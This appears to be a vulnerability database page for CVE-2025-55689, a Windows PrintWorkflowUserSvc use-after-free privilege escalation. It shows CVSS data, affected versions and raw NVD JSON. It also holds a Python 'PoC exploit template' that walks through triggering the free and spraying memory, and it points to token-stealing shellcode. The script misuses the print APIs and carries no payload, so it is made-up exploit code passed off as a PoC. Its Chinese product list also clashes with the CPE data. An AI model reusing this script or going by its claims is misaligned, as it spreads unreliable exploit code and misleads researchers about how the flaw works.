Security Vulnerability Report
中文
CVE-2025-55689 CVSS 7.0 HIGH

CVE-2025-55689

Published: 2025-10-14 17:15:50
Last Modified: 2025-10-30 21:37:20

Description

Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 版本1507-22H2(所有受支持版本)
Windows 11 版本22H2-24H2(所有受支持版本)
Windows Server 2016
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55689 - Windows PrintWorkflowUserSvc Use After Free LPE # PoC exploit template for local privilege escalation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires precise timing and memory layout control. import ctypes import sys import struct from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_RELEASE = 0x8000 PAGE_READWRITE = 0x04 kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll def trigger_uaf(): """ Trigger Use After Free in PrintWorkflowUserSvc Step 1: Create a print job to allocate a workflow object Step 2: Force the service to free the object prematurely Step 3: Reclaim the freed memory with controlled data Step 4: Use the dangling pointer to achieve code execution """ print("[*] CVE-2025-55689 PoC - PrintWorkflowUserSvc UAF LPE") print("[*] Attempting to trigger Use After Free condition...") # Step 1: Interact with PrintWorkflowUserSvc via print APIs # Open printer handle to trigger workflow service interaction PRINTER_ACCESS_USE = 0x00000008 printer_name = ctypes.c_wchar_p("Microsoft Print to PDF") hPrinter = wintypes.HANDLE() result = ctypes.windll.winspool.OpenPrinterW( printer_name, ctypes.byref(hPrinter), None ) if not result: print("[-] Failed to open printer handle") return False print("[+] Printer handle obtained: 0x%x" % hPrinter.value) # Step 2: Trigger the vulnerable code path # Send crafted print job to trigger UAF in workflow processing job_info_1 = (ctypes.c_wchar * 32)() job_info_1.value = "CVE-2025-55689" job_handle = wintypes.HANDLE() result = ctypes.windll.winspool.StartDocPrinterW( hPrinter, 1, ctypes.byref(job_info_1), ctypes.byref(job_handle) ) # Step 3: Force premature free of the workflow object # by canceling the job at a specific timing if job_handle: ctypes.windll.winspool.SetJobW( hPrinter, job_handle.value, 0, None, 0x00000004 # JOB_CONTROL_DELETE ) print("[+] Triggered premature object release") # Step 4: Reclaim freed memory and achieve code execution # Allocate memory to reclaim the freed region spray_buffer = ctypes.windll.kernel32.VirtualAlloc( None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) if spray_buffer: print("[+] Memory spray buffer allocated: 0x%x" % spray_buffer) # Fill with controlled data to hijack execution flow payload = (ctypes.c_byte * 0x1000).from_buffer(spray_buffer) # In a real exploit, this would contain a ROP chain or # token-stealing shellcode for privilege escalation ctypes.windll.winspool.ClosePrinter(hPrinter) print("[*] PoC execution completed") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-55689 - Windows PrintWorkflowUserSvc UAF") print("CVSS: 7.0 (HIGH) | Type: Use After Free | Impact: LPE") print("=" * 60) trigger_uaf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55689", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:50.107", "lastModified": "2025-10-30T21:37:19.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55689", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}